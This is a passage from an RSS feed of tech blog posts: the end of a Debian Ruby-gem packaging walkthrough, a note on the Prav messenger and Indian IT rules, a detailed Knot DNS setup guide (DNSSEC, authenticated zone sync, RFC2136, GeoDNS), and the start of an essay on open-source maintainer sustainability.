<p><code>vim silent_stream.gemspec</code></p>
</li>
<li>
<p>Delete lines 50,51,52 in this <a href="https://github.com/pboling/silent_stream/blob/master/silent_stream.gemspec#L50-L52">file</a></p>
</li>
<li>
<p>Replace those lines with:</p>
<p><code>spec.files = Dir.glob(&quot;**/*&quot;)</code></p>
<p>and save the file.</p>
</li>
<li>
<p>To generate the patch, run</p>
<p><code>quilt refresh</code></p>
</li>
<li>
<p>Add <a href="http://dep.debian.net/deps/dep3/">metadata</a> to your patch header</p>
<p><code>quilt header --dep3 -e</code></p>
</li>
<li>
<p>Add <code>debian/patches</code> directory to git staging area:</p>
<p><code>git add debian/patches</code></p>
</li>
<li>
<p>Restore gemspec file.</p>
<p><code>git restore silent_stream.gemspec</code></p>
</li>
<li>
<p>Run <code>debclean</code></p>
<p><code>debclean</code></p>
</li>
<li>
<p>Before running <code>sbuild</code>, I had to import tar files in parent directory</p>
<p><code>uscan --verbose -dd --download-current-version</code></p>
</li>
<li>
<p>Check if <code>sbuild</code> is successful.</p>
<p><code>sbuild -d unstable</code> (where to run this command depends on how you setup sbuild and your debian unstable)</p>
</li>
</ol>
<p>&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;Run above commands in debian unstable environment&mdash;&mdash;&mdash;&mdash;</p>
<p>If the sbuild was successful, then commit and push your changes. I usually commit in my host system as signing the commits does not work for me inside chroot or the unstable environment I setup using <a href="https://wiki.debian.org/Packaging/Pre-Requisites/nspawn">systemd-nspawn</a>.</p>
<pre><code>git commit -S -m &quot;add remove-git-in-gemspec.patch&quot;
</code></pre>
<p>So, that&rsquo;s it for this tutorial. Meet you in the next post.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Nobody asked this important question about Prav]]></title>
            <link>https://ravidwivedi.in/posts/important-question-not-asked-prav/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/important-question-not-asked-prav/</guid>
            <pubDate>Fri, 24 Mar 2023 08:05:25 GMT</pubDate>
            <description><![CDATA[Earlier this month, I gave a presentation introducing Prav along with my friend Arun. Many people got curious and asked various questions about the project. However, I was surprised that nobody inquired about the operation of a privacy messaging service in India, especially considering the weakening privacy laws in the country as highlighted in this article.
The conference where I presented had at least two talks/discussions on the policy/law aspects of technology. Even outside the conference, I did not encounter this question, which I believe is crucial. It seems that people are not yet fully aware of the implications of the new IT rules.
Update on 27 May 2023: This question was later raised on social media, reminding me of a similar question asked here before I wrote this post.]]></description>
            <content:encoded><![CDATA[<p>Earlier this month, I gave a presentation introducing <a href="https://prav.app">Prav</a> along with my friend Arun. Many people got curious and asked various questions about the project. However, I was surprised that nobody inquired about the operation of a privacy messaging service in India, especially considering the weakening privacy laws in the country as highlighted in this <a href="https://scroll.in/article/1010778/how-the-modi-governments-new-it-rules-jeopardise-the-right-to-privacy-and-free-speech">article</a>.</p>
<p>The conference where I presented had at least two talks/discussions on the policy/law aspects of technology. Even outside the conference, I did not encounter this question, which I believe is crucial. It seems that people are not yet fully aware of the implications of the new IT rules.</p>
<p><strong>Update on 27 May 2023:</strong> This question was later <a href="https://mstdn.social/@sachinsaini/110411423706685630">raised on social media</a>, reminding me of a similar question asked <a href="https://metalhead.club/@akash/109527124440791656">here</a> before I wrote this post.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Setting up Knot DNS - DNSSEC, GeoDNS, RFC2136,authenticated zonefile sync and more!]]></title>
            <link>https://aryak.me/blog/01-knot.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/01-knot.html</guid>
            <pubDate>Wed, 01 Mar 2023 12:39:46 GMT</pubDate>
            <description><![CDATA[Knot DNS is one of the easier to
setup authoritative dns servers out there, made by NIC.CZ.
In this tutorial I’ll show how to setup Knot with DNSSEC,
authenticated master -> slave sync, RFC2136 (for automatic dns-based
certs in caddy and such) and GeoDNS, which makes the server give an IP
closest to the user.
I assume you have two Debian based systems, with port 53 (tcp+udp)
forwarded.
Installing Knot
This guide covers debian, but instructions for other distributions
can be found on the download
page Run the following on both the master and the slave:
apt-get -y install apt-transport-https lsb-release ca-certificates wget
wget -O /usr/share/keyrings/knot.gpg https://deb.knot-dns.cz/apt.gpg
sh -c 'echo "deb [signed-by=/usr/share/keyrings/knot.gpg] https://deb.knot-dns.cz/knot-latest/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/knot-latest.list'
apt-get update
apt-get install knot knot-dnsutils

Basic Configuration
knot.conf
Now, to add in the basic configuration, overwrite the
/etc/knot/knot.conf file on the master with the following
text:
server:
    rundir: "/run/knot"
    user: knot:knot
    listen: 0.0.0.0@53
log:
  - target: syslog
    any: info
database:
    storage: "/var/lib/knot"
remote:
  - id: secondary
    address: your.other.servers.ip@53
acl:
  - id: acl_secondary
    address: your.other.servers.ip
    action: transfer
template:
  - id: default
    storage: "/etc/knot/zones"
    file: "%s.zone"
    semantic-checks: on
    # Don't override zonefile
    zonefile-sync: -1
    zonefile-load: difference-no-serial
    journal-content: all
zone:
  - domain: your.domain
    notify: secondary
    acl: acl_secondary
On the slave, overwrite the same file with the following text:
server:
    rundir: "/run/knot"
    user: knot:knot
    listen: 0.0.0.0@53
log:
  - target: syslog
    any: info
database:
    storage: "/var/lib/knot"
remote:
  - id: primary
    address: your.main.servers.ip@53
acl:
  - id: acl_primary
    address: your.main.servers.ip
    action: notify
template:
  - id: default
    storage: "/etc/knot/zones"
    file: "%s.zone"
zone:
  - domain: your.domain
    master: primary
    acl: acl_primary
Zonefile
At this point you need to create /etc/knot/zones on both
the master and slave as that is where the zonefiles will be stored. Now
create a file named your.domain.zone in the directory on the master
alone and add the following text to it:
$ORIGIN your.domain. ; 'default' domain as FQDN for this zone
$TTL 3600 ; default time-to-live for this zone

your.domain.   IN  SOA     ns1.your.domain. ns2.your.domain. (
        YYYYMMDD01  ;Serial
        14400       ;Refresh
        3600        ;Retry
        1209600     ;Expire
        3600        ;Negative response caching TTL
)
@   IN  NS  ns1.your.domain.
@   IN  NS  ns2.your.domain.
ns1 A   your.main.servers.ip
ns2 A   your.other.servers.ip
@   A   your.main.servers.ip

; PTR Records (for mailservers)
your.ip.in.reverse.in-addr.arpa.    PTR mail.your.domain.
At this point, you can run systemctl restart knot
(restart since its a major change) on both nodes.
Updating the zonefile
Updating the zonefile is not hard.
Since we set the zonefile-load to
difference-no-serial, we do not need to increment the
serial as it will automatically be computed when
knotc reload is run.
All records must be before the PTR in the zonefile.
Wildcards can be done with the hostname as *
If the hostname ends with ., it must include your.domain, that is
something.your.domain will be something.your.domain.
If the hostname does not end with a ., it is relative to the domain,
that is something.your.domain will just be something.
Always use tabs, not spaces.
Token-based zonefile
authentication
At the moment, the authentication for sending and receiving the
zonefile is completely based on the IP address, which is not very
secure.
To remediate this, we can use token-based authentication.
First, you need to generate a key with
keymgr -t zonesync hmac-sha256
This is the key that will authenticate the zone transfers.
You can copy-paste the output it gives you into your knot.conf, above
the remote section on both master and slave.
Now, you need to add key: zonesync to the remote,
acl_primary/secondary sections on both master and slave.
At this point, you can run systemctl restart knot, and
all the syncs will be more secure!
DNSSEC
DNSSEC is an extension to DNS designed to protect applications using
DNS from accepting forged or manipulated DNS data by using zone
signing.
Enabling DNSSEC on knot is as simple as adding the following line to
the template section:
template:
    ...
    dnssec-signing: on
    ...
At this point, you need to upload the DS record to your Registry.
This is usually done through your registrar’s WebUI.
The DNSSEC-enabled DNS servers use the DS record from your domain
registry to validate your records.
You can get your DS record with the following command:
keymgr your.domain ds

The output will look something like this:
54674 13 2 E28E3DB78E5517A577353A43799AD14EC044720BAE4906D134F5EA40 74AC0287
In the example given:
Key tag - 54674
Algorithm - 13
Digest Type - 2
Digest - E28E3…287 (omit space)
On namecheap, you add this at Advanced DNS -> DNSSEC
You can check if your DNSSEC is working properly at DNSViz and DNSSEC-Analyzer.
RFC2136
RFC2136 is an
RFC that allows dynamic updates for DNS.
This works completely over DNS and does not require a special
API.
To set it up, you need to create an ACL as follows:
acl:
    ...
    - id: acl_dynupdates
    address: [an.authorized.ip.addr, another.authorized.ip.addr]
    action: update
...
zone:
  - domain: your.domain
    notify: secondary
    acl: [acl_secondary, acl_dynupdates]
You can also add token-based auth by generating another key with
keymgr -t rfc2136 hmac-sha256
You can add it to the config as follows:
key:
    ...
    - id: rfc2136
    algorithm: hmac-sha256
    secret: xxx
...
acl:
    ...
    - id: acl_dynupdates
    address: [an.authorized.ip.addr, another.authorized.ip.addr]
    action: update
    key: rfc2136
After this, you can run systemctl restart knot to apply
the changes.
Caddy
Caddy is a modern webserver
which supports automatic cert generation from letsencrypt/zerossl with
acme.
It uses http-01 for the challenge by default, but can use a dns
challenge too.
For the DNS challenge, you first need to install the RFC2136 DNS plugin with
the following command:
xcaddy build --with github.com/caddy-dns/rfc2136@master

Now, add the following lines to the top of your caddyfile
{
    acme_dns rfc2136 {
        key_name "rfc2136"
        key_alg "hmac-sha256"
        key "xxx"
        server "your.main.servers.ip:53"
    }
    acme_ca https://acme-v02.api.letsencrypt.org/directory
}
Now, all certs can be generated using the DNS challenge!
This is especially useful in a GeoDNS environment.
GeoDNS
GeoDNS allows geographical split horizon based on a GeoIP database,
such as Maxmind’s free GeoLite2.
Firstly, you need to procure the GeoLite2 database from Maxmind.
Due to policy changes, you now need to signup on Maxmind’s website in
order to get access.
However, older GeoIP DBs can still be found in many places, including
distribution package repositories.
Once you procure your copy of GeoLite2, you need to install the GeoIP
module for knot-dns on both master and slave.
On Debian, the package’s name is knot-module-geoip
After installing the module, you can add it to the knot.conf (must be
before zone section however):
mod-geoip:
  - id: geo 
    config-file: "/etc/knot/geo.conf"
    mode: geodb
    geodb-file: "/var/lib/knot/GeoLite2-City.mmdb"
    geodb-key: [ continent/code, country/iso_code, city/names/en ]
You also need to include the GeoIP module for your domain. You can do
that by adding this line to your domain’s zone section:
zone:
    - domain: your.domain
      ...
      module: mod-geoip/geo
Now, you need to configure the GeoDNS.
To do so, create a file called /etc/knot/geo.conf with
the following:
geodnsubdom.your.domain:
  - geo: "*;*;*" # Fallback incase DNS server doesn't send ECS
    A: your.main.servers.ip
    TXT: "Worldwide"
  - geo: "EU;*;*" # Europe
    A: your.europe.servers.ip
    TXT: "Europe"
    ...
However, the file needs to be manually synced to the slave on every
update.
It is also painful to use if you have multiple root subdomains you
want to use GeoDNS with.
Due to these reasons, I made a kinda hacky script to remediate
this:
#!/usr/bin/env bash
geoconf=/etc/knot/geo.conf
remote='geodns@other.servers.ip'
printf '' > $geoconf
for i in $(</etc/knot/geodnsdomains); do
    cat /etc/knot/geodnstemplate >> $geoconf
    sed -i "s/REPLACEME/${i}/" $geoconf
done
scp $geoconf "${remote}":/var/geo.conf
ssh $remote "sudo systemctl restart knot"
systemctl restart knot

In order to allow the unprivileged user on the slave to restart knot,
I used a sudo ALLOW_CMDS flag:
Cmnd_Alias KNOT_CMDS = /usr/bin/systemctl restart knot
geodns ALL=(ALL) NOPASSWD: KNOT_CMDS
And thats it. Thanks for reading!]]></description>
            <content:encoded><![CDATA[
<p><a href="https://knot-dns.cz">Knot DNS</a> is one of the easier to
setup authoritative dns servers out there, made by <a
href="https://nic.cz">NIC.CZ</a>.</p>
<p>In this tutorial I’ll show how to setup Knot with DNSSEC,
authenticated master -&gt; slave sync, RFC2136 (for automatic dns-based
certs in caddy and such) and GeoDNS, which makes the server give an IP
closest to the user.</p>
<p>I assume you have two Debian based systems, with port 53 (tcp+udp)
forwarded.</p>
<h2 id="installing-knot">Installing Knot</h2>
<p>This guide covers debian, but instructions for other distributions
can be found on the <a href="https://www.knot-dns.cz/download">download
page</a> Run the following on both the master and the slave:</p>
<div class="sourceCode" id="cb1"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">apt-get</span> <span class="at">-y</span> install apt-transport-https lsb-release ca-certificates wget</span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="fu">wget</span> <span class="at">-O</span> /usr/share/keyrings/knot.gpg https://deb.knot-dns.cz/apt.gpg</span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="fu">sh</span> <span class="at">-c</span> <span class="st">&#39;echo &quot;deb [signed-by=/usr/share/keyrings/knot.gpg] https://deb.knot-dns.cz/knot-latest/ $(lsb_release -sc) main&quot; &gt; /etc/apt/sources.list.d/knot-latest.list&#39;</span></span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="ex">apt-get</span> update</span>
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a><span class="ex">apt-get</span> install knot knot-dnsutils</span></code></pre></div>
<h2 id="basic-configuration">Basic Configuration</h2>
<h3 id="knot.conf">knot.conf</h3>
<p>Now, to add in the basic configuration, overwrite the
<code>/etc/knot/knot.conf</code> file on the master with the following
text:</p>
<pre><code>server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    listen: 0.0.0.0@53
log:
  - target: syslog
    any: info
database:
    storage: &quot;/var/lib/knot&quot;
remote:
  - id: secondary
    address: your.other.servers.ip@53
acl:
  - id: acl_secondary
    address: your.other.servers.ip
    action: transfer
template:
  - id: default
    storage: &quot;/etc/knot/zones&quot;
    file: &quot;%s.zone&quot;
    semantic-checks: on
    # Don&#39;t override zonefile
    zonefile-sync: -1
    zonefile-load: difference-no-serial
    journal-content: all
zone:
  - domain: your.domain
    notify: secondary
    acl: acl_secondary</code></pre>
<p>On the slave, overwrite the same file with the following text:</p>
<pre><code>server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    listen: 0.0.0.0@53
log:
  - target: syslog
    any: info
database:
    storage: &quot;/var/lib/knot&quot;
remote:
  - id: primary
    address: your.main.servers.ip@53
acl:
  - id: acl_primary
    address: your.main.servers.ip
    action: notify
template:
  - id: default
    storage: &quot;/etc/knot/zones&quot;
    file: &quot;%s.zone&quot;
zone:
  - domain: your.domain
    master: primary
    acl: acl_primary</code></pre>
<h3 id="zonefile">Zonefile</h3>
<p>At this point you need to create <code>/etc/knot/zones</code> on both
the master and slave as that is where the zonefiles will be stored. Now
create a file named your.domain.zone in the directory on the master
alone and add the following text to it:</p>
<pre><code>$ORIGIN your.domain. ; &#39;default&#39; domain as FQDN for this zone
$TTL 3600 ; default time-to-live for this zone

your.domain.   IN  SOA     ns1.your.domain. ns2.your.domain. (
        YYYYMMDD01  ;Serial
        14400       ;Refresh
        3600        ;Retry
        1209600     ;Expire
        3600        ;Negative response caching TTL
)
@   IN  NS  ns1.your.domain.
@   IN  NS  ns2.your.domain.
ns1 A   your.main.servers.ip
ns2 A   your.other.servers.ip
@   A   your.main.servers.ip

; PTR Records (for mailservers)
your.ip.in.reverse.in-addr.arpa.    PTR mail.your.domain.</code></pre>
<p>At this point, you can run <code>systemctl restart knot</code>
(restart since its a major change) on both nodes.</p>
<h2 id="updating-the-zonefile">Updating the zonefile</h2>
<p>Updating the zonefile is not hard.</p>
<ul>
<li>Since we set the <code>zonefile-load</code> to
<code>difference-no-serial</code>, we do not need to increment the
serial as it will automatically be computed when
<code>knotc reload</code> is run.</li>
<li>All records must be before the PTR in the zonefile.</li>
<li>Wildcards can be done with the hostname as <code>*</code></li>
<li>If the hostname ends with ., it must include your.domain, that is
something.your.domain will be <code>something.your.domain.</code></li>
<li>If the hostname does not end with a ., it is relative to the domain,
that is something.your.domain will just be <code>something</code>.</li>
<li>Always use tabs, not spaces.</li>
</ul>
<h2 id="token-based-zonefile-authentication">Token-based zonefile
authentication</h2>
<p>At the moment, the authentication for sending and receiving the
zonefile is completely based on the IP address, which is not very
secure.</p>
<p>To remediate this, we can use token-based authentication.</p>
<p>First, you need to generate a key with
<code>keymgr -t zonesync hmac-sha256</code></p>
<p>This is the key that will authenticate the zone transfers.</p>
<p>You can copy-paste the output it gives you into your knot.conf, above
the remote section on both master and slave.</p>
<p>Now, you need to add <code>key: zonesync</code> to the remote,
acl_primary/secondary sections on both master and slave.</p>
<p>At this point, you can run <code>systemctl restart knot</code>, and
all the syncs will be more secure!</p>
<h2 id="dnssec">DNSSEC</h2>
<p>DNSSEC is an extension to DNS designed to protect applications using
DNS from accepting forged or manipulated DNS data by using zone
signing.</p>
<p>Enabling DNSSEC on knot is as simple as adding the following line to
the template section:</p>
<pre><code>template:
    ...
    dnssec-signing: on
    ...</code></pre>
<p>At this point, you need to upload the DS record to your Registry.
This is usually done through your registrar’s WebUI.</p>
<p>The DNSSEC-enabled DNS servers use the DS record from your domain
registry to validate your records.</p>
<p>You can get your DS record with the following command:</p>
<div class="sourceCode" id="cb6"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="ex">keymgr</span> your.domain ds</span></code></pre></div>
<p>The output will look something like this:</p>
<pre><code>54674 13 2 E28E3DB78E5517A577353A43799AD14EC044720BAE4906D134F5EA40 74AC0287</code></pre>
<p>In the example given:</p>
<ul>
<li>Key tag - 54674</li>
<li>Algorithm - 13</li>
<li>Digest Type - 2</li>
<li>Digest - E28E3…287 (omit space)</li>
</ul>
<p>On namecheap, you add this at Advanced DNS -&gt; DNSSEC</p>
<p>You can check if your DNSSEC is working properly at <a
href="https://dnsviz.net">DNSViz</a> and <a
href="https://dnssec-analyzer.verisignlabs.com">DNSSEC-Analyzer</a>.</p>
<h2 id="rfc2136">RFC2136</h2>
<p><a href="https://www.rfc-editor.org/rfc/rfc2136">RFC2136</a> is an
RFC that allows dynamic updates for DNS.</p>
<p>This works completely over DNS and does not require a special
API.</p>
<p>To set it up, you need to create an ACL as follows:</p>
<pre><code>acl:
    ...
    - id: acl_dynupdates
    address: [an.authorized.ip.addr, another.authorized.ip.addr]
    action: update
...
zone:
  - domain: your.domain
    notify: secondary
    acl: [acl_secondary, acl_dynupdates]</code></pre>
<p>You can also add token-based auth by generating another key with
<code>keymgr -t rfc2136 hmac-sha256</code></p>
<p>You can add it to the config as follows:</p>
<pre><code>key:
    ...
    - id: rfc2136
    algorithm: hmac-sha256
    secret: xxx
...
acl:
    ...
    - id: acl_dynupdates
    address: [an.authorized.ip.addr, another.authorized.ip.addr]
    action: update
    key: rfc2136</code></pre>
<p>After this, you can run <code>systemctl restart knot</code> to apply
the changes.</p>
<h3 id="caddy">Caddy</h3>
<p><a href="https://caddyserver.com">Caddy</a> is a modern webserver
which supports automatic cert generation from letsencrypt/zerossl with
acme.</p>
<p>It uses http-01 for the challenge by default, but can use a dns
challenge too.</p>
<p>For the DNS challenge, you first need to install the <a
href="https://github.com/caddy-dns/rfc2136">RFC2136 DNS plugin</a> with
the following command:</p>
<div class="sourceCode" id="cb10"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a><span class="ex">xcaddy</span> build <span class="at">--with</span> github.com/caddy-dns/rfc2136@master</span></code></pre></div>
<p>Now, add the following lines to the top of your caddyfile</p>
<pre><code>{
    acme_dns rfc2136 {
        key_name &quot;rfc2136&quot;
        key_alg &quot;hmac-sha256&quot;
        key &quot;xxx&quot;
        server &quot;your.main.servers.ip:53&quot;
    }
    acme_ca https://acme-v02.api.letsencrypt.org/directory
}</code></pre>
<p>Now, all certs can be generated using the DNS challenge!</p>
<p>This is especially useful in a GeoDNS environment.</p>
<h2 id="geodns">GeoDNS</h2>
<p>GeoDNS allows geographical split horizon based on a GeoIP database,
such as Maxmind’s free GeoLite2.</p>
<p>Firstly, you need to procure the GeoLite2 database from Maxmind.</p>
<p>Due to policy changes, you now need to signup on Maxmind’s website in
order to get access.</p>
<p>However, older GeoIP DBs can still be found in many places, including
distribution package repositories.</p>
<p>Once you procure your copy of GeoLite2, you need to install the GeoIP
module for knot-dns on both master and slave.</p>
<p>On Debian, the package’s name is <code>knot-module-geoip</code></p>
<p>After installing the module, you can add it to the knot.conf (must be
before zone section however):</p>
<pre><code>mod-geoip:
  - id: geo 
    config-file: &quot;/etc/knot/geo.conf&quot;
    mode: geodb
    geodb-file: &quot;/var/lib/knot/GeoLite2-City.mmdb&quot;
    geodb-key: [ continent/code, country/iso_code, city/names/en ]</code></pre>
<p>You also need to include the GeoIP module for your domain. You can do
that by adding this line to your domain’s zone section:</p>
<pre><code>zone:
    - domain: your.domain
      ...
      module: mod-geoip/geo</code></pre>
<p>Now, you need to configure the GeoDNS.</p>
<p>To do so, create a file called <code>/etc/knot/geo.conf</code> with
the following:</p>
<pre><code>geodnsubdom.your.domain:
  - geo: &quot;*;*;*&quot; # Fallback incase DNS server doesn&#39;t send ECS
    A: your.main.servers.ip
    TXT: &quot;Worldwide&quot;
  - geo: &quot;EU;*;*&quot; # Europe
    A: your.europe.servers.ip
    TXT: &quot;Europe&quot;
    ...</code></pre>
<p>However, the file needs to be manually synced to the slave on every
update.</p>
<p>It is also painful to use if you have multiple root subdomains you
want to use GeoDNS with.</p>
<p>Due to these reasons, I made a kinda hacky script to remediate
this:</p>
<div class="sourceCode" id="cb15"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb15-1"><a href="#cb15-1" aria-hidden="true" tabindex="-1"></a><span class="co">#!/usr/bin/env bash</span></span>
<span id="cb15-2"><a href="#cb15-2" aria-hidden="true" tabindex="-1"></a><span class="va">geoconf</span><span class="op">=</span>/etc/knot/geo.conf</span>
<span id="cb15-3"><a href="#cb15-3" aria-hidden="true" tabindex="-1"></a><span class="va">remote</span><span class="op">=</span><span class="st">&#39;geodns@other.servers.ip&#39;</span></span>
<span id="cb15-4"><a href="#cb15-4" aria-hidden="true" tabindex="-1"></a><span class="bu">printf</span> <span class="st">&#39;&#39;</span> <span class="op">&gt;</span> <span class="va">$geoconf</span></span>
<span id="cb15-5"><a href="#cb15-5" aria-hidden="true" tabindex="-1"></a><span class="cf">for</span> i <span class="kw">in</span> <span class="va">$(</span><span class="op">&lt;</span>/etc/knot/geodnsdomains<span class="va">)</span><span class="kw">;</span> <span class="cf">do</span></span>
<span id="cb15-6"><a href="#cb15-6" aria-hidden="true" tabindex="-1"></a>    <span class="fu">cat</span> /etc/knot/geodnstemplate <span class="op">&gt;&gt;</span> <span class="va">$geoconf</span></span>
<span id="cb15-7"><a href="#cb15-7" aria-hidden="true" tabindex="-1"></a>    <span class="fu">sed</span> <span class="at">-i</span> <span class="st">&quot;s/REPLACEME/</span><span class="va">${i}</span><span class="st">/&quot;</span> <span class="va">$geoconf</span></span>
<span id="cb15-8"><a href="#cb15-8" aria-hidden="true" tabindex="-1"></a><span class="cf">done</span></span>
<span id="cb15-9"><a href="#cb15-9" aria-hidden="true" tabindex="-1"></a><span class="fu">scp</span> <span class="va">$geoconf</span> <span class="st">&quot;</span><span class="va">${remote}</span><span class="st">&quot;</span>:/var/geo.conf</span>
<span id="cb15-10"><a href="#cb15-10" aria-hidden="true" tabindex="-1"></a><span class="fu">ssh</span> <span class="va">$remote</span> <span class="st">&quot;sudo systemctl restart knot&quot;</span></span>
<span id="cb15-11"><a href="#cb15-11" aria-hidden="true" tabindex="-1"></a><span class="ex">systemctl</span> restart knot</span></code></pre></div>
<p>In order to allow the unprivileged user on the slave to restart knot,
I used a sudo ALLOW_CMDS flag:</p>
<pre><code>Cmnd_Alias KNOT_CMDS = /usr/bin/systemctl restart knot
geodns ALL=(ALL) NOPASSWD: KNOT_CMDS</code></pre>
<p>And thats it. Thanks for reading!</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2023/03/01/3</category>
        </item>
        <item>
            <title><![CDATA[The complicated road to Open Source Sustainability]]></title>
            <link>https://www.divyamohan.com/blog-open-source-sustainability/</link>
            <guid isPermaLink="false">https://www.divyamohan.com/blog-open-source-sustainability/</guid>
            <pubDate>Sat, 18 Feb 2023 13:55:22 GMT</pubDate>
            <description><![CDATA[Overworked maintainers & understaffed projects are the foundations that open source and, thereby, most of your daily drivers are built on. Corporate open source customers need to be better citizens in order to move towards a more sustainable model of open source.]]></description>
            <content:encoded><![CDATA[<p>Remember this xkcd comic?</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/02/dependency.png" class="kg-image" alt loading="lazy" width="385" height="489"></figure><p>Over the past couple of years, open source sustainability has been a recurrent theme in discussions with friends and colleagues alike. </p><p>Whether it be watching the <a href="https://www.theregister.com/2023/02/15/corejs_russia_open_source/">core-js incident</a> play out during the last week or the <a href="https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code">left-pad incident in 2016</a>, it is evident that there is a huge sustainability problem in the open source JavaScript community.</p><p>But you&apos;d be grossly mistaken if you thought this problem was specific to the JavaScript community alone. The Christmas gift of the <a href="https://en.wikipedia.org/wiki/Log4Shell">log4shell incident</a> in 2021 was my first brush with being personally responsible for rallying troops to mitigate the vulnerability at my workplace. I was employed with a bank at the time and clearly remember the panic and scurrying that ensued after the vulnerability was announced. I also remember how almost all consumers had their bytes and thought pieces ready for promises of support. Has much changed? One look at the <a href="https://logging.apache.org/log4j/2.x/team-list.html">project team</a> tells you that we&apos;re still staring at a massive imbalance in the consumer/publisher ratio when it comes to open source.</p><h2 id="i-still-dont-get-it-so-what-exactly-is-the-problem">I still don&apos;t get it. So what exactly is the problem?</h2><p></p><blockquote>Despite using open source software directly or indirectly in every aspect of our lives, many folks outside the OSS ecosystem have no idea about the enormous efforts behind the scenes to keep the machine well-oiled.</blockquote><p>Why do I say that so confidently? Because I was one of those people, too, till 2019. I worked on Linux systems and was responsible for middleware administration for several apps built atop open source software such as Apache, JBoss, etc. Yet, my understanding of open source was limited to it being freely available. I didn&apos;t delve further because what was the point? It&apos;s not like my employers cared about it much, either. </p><p>Not until, of course, some bug affected the software, and all hell would break loose. Efforts would then be rallied to mitigate the bug at our end, and we&apos;d wait until a patch was published to roll it out. All so simple, right? Wrong.</p><p>At that point, what was invisible to me were the toil and person hours behind releasing those patches, often at breakneck speed and under extreme pressure. </p><h2 id="thats-bad-but-how-does-it-matter">That&apos;s bad. But how does it matter?</h2><p></p><p>The invisible toil &amp; person-hours? They&apos;re expended by humans like you and me sitting behind a computer with families to feed and rent to pay. </p><p>How many of those folks receive adequate compensation for their contributions? </p><p>For context, everyone in the IT industry has used or at least heard of OpenSSL. </p><p>If you haven&apos;t, here&apos;s me quoting <a href="https://en.wikipedia.org/wiki/OpenSSL">Wikipedia</a> directly, </p><blockquote><strong>OpenSSL</strong> is a software <a href="https://en.wikipedia.org/wiki/Library_(computing)">library</a> for applications that provide secure communications over <a href="https://en.wikipedia.org/wiki/Computer_network">computer networks</a> against eavesdropping or the need to identify the party at the other end. It is widely used by <a href="https://en.wikipedia.org/wiki/Internet">Internet</a> <a href="https://en.wikipedia.org/wiki/Server_(computing)">servers</a>, including the majority of <a href="https://en.wikipedia.org/wiki/HTTPS">HTTPS</a> <a href="https://en.wikipedia.org/wiki/Website">websites</a>.</blockquote><p>From that definition, it looks like a pretty important piece of software, right? Guess how many core developers were maintaining the project during the <a href="https://en.wikipedia.org/wiki/Heartbleed">Heartbleed </a>vulnerability that affected almost everyone using the internet? <strong>Four</strong>.</p><p>One of the core developers, Steven Henson, was <strong>the only person working full-time </strong>on the project. Additionally, according to <a href="https://www.npr.org/sections/alltechconsidered/2014/04/21/304143259/who-should-pay-to-keep-the-internets-locks-secure">this article</a>, the group received <strong>just $2000</strong> for the upkeep of the project before the Heartbleed incident. </p><p>Overworked maintainers &amp; understaffed projects are the foundations that open source and, thereby, most of your daily drivers are built on. </p><h2 id="why-is-it-my-problem">Why is it MY problem?</h2><p></p><p>I often envision the open source model as a seesaw. That analogy is me dumbing it down because I am still navigating this ecosystem as we speak, and I have a lot to learn!</p><p>But if you stick with the analogy, you&apos;ll notice that it does play out well from a visualization perspective.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2023/02/fwby_iea7_210524.jpg" class="kg-image" alt loading="lazy" width="2000" height="504" srcset="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w600/2023/02/fwby_iea7_210524.jpg 600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1000/2023/02/fwby_iea7_210524.jpg 1000w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w1600/2023/02/fwby_iea7_210524.jpg 1600w, https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/size/w2400/2023/02/fwby_iea7_210524.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Image by upklyak on Freepik</span></figcaption></figure><p></p><p>Assume we have the consumers on one side &amp; the maintainers on the other side of the seesaw. It is idealistic to assume that we started at an equilibrium. </p><p>However, even if we did, we are currently in a situation where project maintainers are now staring at a massive imbalance with</p><ul><li>More customized demands due to every consumer working off their respective fork.</li><li>Lack of contributors to help with the incoming volume of requests</li><li>Lack of commensurate support and compensation from companies that employ the maintainers and contributors</li><li>Eventual burnout</li></ul><p>When that snowballs, it is only human to want to step away. After all, despite loving what they do, there&apos;s only so much a person can give before their vessel is empty.</p><p>Where does that leave us <strong>as an industry</strong>? Lesser collaboration, a slowdown in innovation, and a lot of paywalled software. None of the things that we take for granted today will continue to exist. </p><p>This may sound a bit dramatic, but it&apos;s every bit true as an eventuality if the current situation continues.</p><h2 id="the-way-ahead">The way ahead</h2><p></p><p>In 2021, I wrote a piece for <a href="https://www.container-solutions.com">Container Solutions</a> about <a 